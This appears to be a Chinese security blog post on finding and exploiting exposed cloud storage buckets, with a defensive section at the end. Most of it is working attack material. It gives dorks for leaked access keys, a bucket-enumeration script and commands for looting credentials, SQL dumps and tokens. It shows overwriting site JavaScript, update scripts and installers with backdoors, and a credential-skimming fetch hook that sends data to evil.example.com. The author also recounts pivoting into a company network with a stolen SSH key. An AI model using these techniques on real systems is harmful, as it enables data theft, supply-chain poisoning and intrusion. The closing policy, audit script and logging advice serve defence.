
Google Hacking GitHub Dorking最省力的方式让搜索引擎帮你找。# Google dorking 找公开桶 site:oss.aliyuncs.com intitle:Index of site:s3.amazonaws.com bucket site:blob.core.windows.net intitle:Index of # 找暴露的存储桶URL Bucket: s3.amazonaws.com Endpoint: oss-cn-hangzhou.aliyuncs.comGitHub也是重灾区。很多开发者在配置文件中硬编码了桶的访问信息甚至直接把Bucket Policy贴到了公开仓库。# GitHub 搜索暴露的云存储配置 aws_access_key_id AND s3 language:yaml oss_access_key_id language:json storage_account AND connection_string language:python前两天我随手一搜就发现了一个包含阿里云OSS AccessKey的公共仓库——用ali-ossSDK配置了完整的写权限。这种属于致命级别的泄露攻击者拿到后不仅能读数据还能上传恶意文件。主动探测我自己常用的工具链被动找不完的主动来扫。# 安装 S3Scanner 扫描公开桶 pip install s3scanner # 批量检测桶列表 s3scanner scan --bucket-file buckets.txt --out found.txt # buckets.txt 内容示例 dev-backup.company.com prod-logs.company.com test-assets.company.com data-analytics.company.com这里有个关键技巧桶命名模式预测。一旦你拿到一个公司的一个桶名按命名规律可以推出其他桶。import boto3 import re # 根据已知桶名预测模式 known_bucket prod-logs-company patterns [ known_bucket, known_bucket.replace(prod, dev), known_bucket.replace(prod, test), known_bucket.replace(logs, backup), known_bucket.replace(logs, data), f{known_bucket}-archive, f{known_bucket}-bak, ] s3 boto3.client(s3) for bucket in patterns: try: response s3.list_objects_v2(Bucketbucket, MaxKeys1) print(f[] 可读: {bucket} - {response.get(Contents, [])}) except Exception as e: code e.response[Error][Code] if code NoSuchBucket: print(f[-] 不存在: {bucket}) elif code AccessDenied: print(f[*] 存在但无权限: {bucket})跑一轮下来经常能扫到意外惊喜——Dev环境的备份桶、测试数据桶权限往往比Prod松散得多。第二步捅开之后的骚操作找到可读的桶只是开始真正的价值在于能从桶里挖到什么。数据侦察目录漫游的艺术# 递归列出桶内所有文件 aws s3 ls s3://exposed-bucket --recursive --human-readable # 按大小排序找出大鱼 aws s3 ls s3://exposed-bucket --recursive | sort -k3 -rn | head -20 # 搜索敏感关键词 aws s3 ls s3://exposed-bucket --recursive | grep -iE \.(pem|key|env|config|json|sql|csv|xlsx|pdf|dump)一次实战中我在一个测试桶里翻出了以下文件config/staging.env— 内含数据库连接串和Redis密码backup/db_dump_20260501.sql— 完整的用户表数据deploy/ssh_key_staging.pem— 测试服务器SSH密钥logs/app/2026/04/— 应用日志含用户Token和API请求一条凭证通向一个内网。拿到那个.pem文件后我直接SSH到了他们的Staging服务器——而那条Staging环境竟然和生产环境在同一VPC下。从公开桶到内网漫游整个过程不到40分钟。日志中的金矿千万别小看日志。很多人觉得日志没什么价值加密程度也是最松的。# 从日志中提取API Token grep -oP token:\s*[^] app-2026-*.log | sort -u # 提取IP白名单 grep -oP client_ip:\s*[^] access.log.* | sort -u # 提取用户操作记录 grep ERROR error.log.* | grep -i unauthorized\|forbidden\|permission我见过最离谱的一次一个桶里存了半年的Nginx访问日志里面记满了API请求的完整URL——包括query string里的Token。等于攻击者拿到了一把通往所有内部API的万能钥匙。第三步写入权限才是真正的噩梦比可读桶更可怕的是可写桶。# 检查桶的写入权限 echo test /tmp/test.txt aws s3 cp /tmp/test.txt s3://exposed-bucket/test_write_permission.txt # 如果能写入尝试覆盖关键文件 aws s3 cp /tmp/malicious.js s3://exposed-bucket/static/js/app.js可写桶的攻击路径供应链投毒如果你的桶被用来托管前端静态资源攻击者上传一个恶意JS文件// 看似正常的埋点代码实际窃取用户凭证 (function() { const originalFetch window.fetch; window.fetch function(...args) { // 偷偷记录请求中的敏感信息 if (args[0].includes(/api/login) || args[0].includes(/token)) { fetch(https://evil.example.com/steal, { method: POST, body: JSON.stringify({url: args[0], body: args[1]?.body}) }); } return originalFetch.apply(this, args); }; })();如果用户访问的页面加载了这个JS所有登录信息都会被劫持。而这种攻击最可怕的地方在于——你完全不知道它在发生直到有用户报告异常。恶意文件上传导致RCE更直接的攻击上传伪装成更新包的恶意文件。# 覆盖OTA更新包 aws s3 cp /tmp/backdoor.sh s3://exposed-bucket/updates/v2.1.3/update.sh # 覆盖客户端下载的安装程序 aws s3 cp /tmp/trojan.msi s3://exposed-bucket/downloads/installer-v3.0.msi第四步防御指南说人话版讲了这么多攻击必须把防守也说清楚。下面是我给客户的三道防线一、最小权限原则 —— 最便宜也最有效的防御{ Version: 2012-10-17, Statement: [ { Effect: Deny, Principal: *, Action: s3:GetObject, Resource: arn:aws:s3:::my-bucket/*, Condition: { Bool: {aws:SecureTransport: false} } }, { Effect: Allow, Principal: { AWS: arn:aws:iam::123456789:role/app-server }, Action: [s3:GetObject, s3:PutObject], Resource: arn:aws:s3:::my-bucket/app-data/* } ] }关键点永远不要用Principal: *配合Effect: Allow用Deny兜底策略先拒绝所有人再按需放行限定SourceIP和SecureTransport使用预签名URLPresigned URL替代公开访问二、自动化扫描 —— 别等人告诉你桶暴露了#!/usr/bin/env python3 云存储桶安全巡检脚本 import boto3 import json from botocore.exceptions import ClientError def check_bucket_public_access(bucket_name): 检查存储桶是否公开可访问 s3 boto3.client(s3) results {bucket: bucket_name, risks: []} # 1. 检查Bucket Policy try: policy s3.get_bucket_policy(Bucketbucket_name) policy_doc json.loads(policy[Policy]) for statement in policy_doc.get(Statement, []): principal statement.get(Principal, {}) if principal in (*, {AWS: *}): results[risks].append({ type: PUBLIC_POLICY, detail: fStatement allows public: {statement.get(Effect)} }) except ClientError as e: if e.response[Error][Code] ! NoSuchBucketPolicy: results[risks].append({type: POLICY_CHECK_FAILED, detail: str(e)}) # 2. 检查ACL try: acl s3.get_bucket_acl(Bucketbucket_name) for grant in acl.get(Grants, []): grantee grant.get(Grantee, {}) if grantee.get(URI, ) http://acs.amazonaws.com/groups/global/AllUsers: results[risks].append({ type: PUBLIC_ACL, detail: fPublic {grant[Permission]} via ACL }) except Exception as e: results[risks].append({type: ACL_FAILED, detail: str(e)}) # 3. 检查Block Public Access设置 try: bpa s3.get_public_access_block(Bucketbucket_name) for k, v in bpa[PublicAccessBlockConfiguration].items(): if not v: results[risks].append({ type: BPA_DISABLED, detail: f{k} is disabled }) except ClientError: results[risks].append({type: BPA_NOT_CONFIGURED}) return results # 扫描所有桶 s3 boto3.client(s3) buckets s3.list_buckets()[Buckets] for b in buckets: result check_bucket_public_access(b[Name]) if result[risks]: print(f[!] {b[Name]}: {len(result[risks])} 个风险) for r in result[risks]: print(f {r[type]}: {r[detail]})把这脚本挂到CI/CD或者定时任务里每天跑一次。发现风险直接飞书/钉钉告警。三、日志审计与异常检测# 开启S3访问日志发到独立的审计桶 aws s3api put-bucket-logging \ --bucket prod-data \ --bucket-logging-status { LoggingEnabled: { TargetBucket: audit-logs-prod, TargetPrefix: s3-access/prod-data/ } } # 分析异常访问模式 # 1. 来自非预期地域的访问 # 2. 下载量突然暴增数据拖取 # 3. 非工作时间的大量访问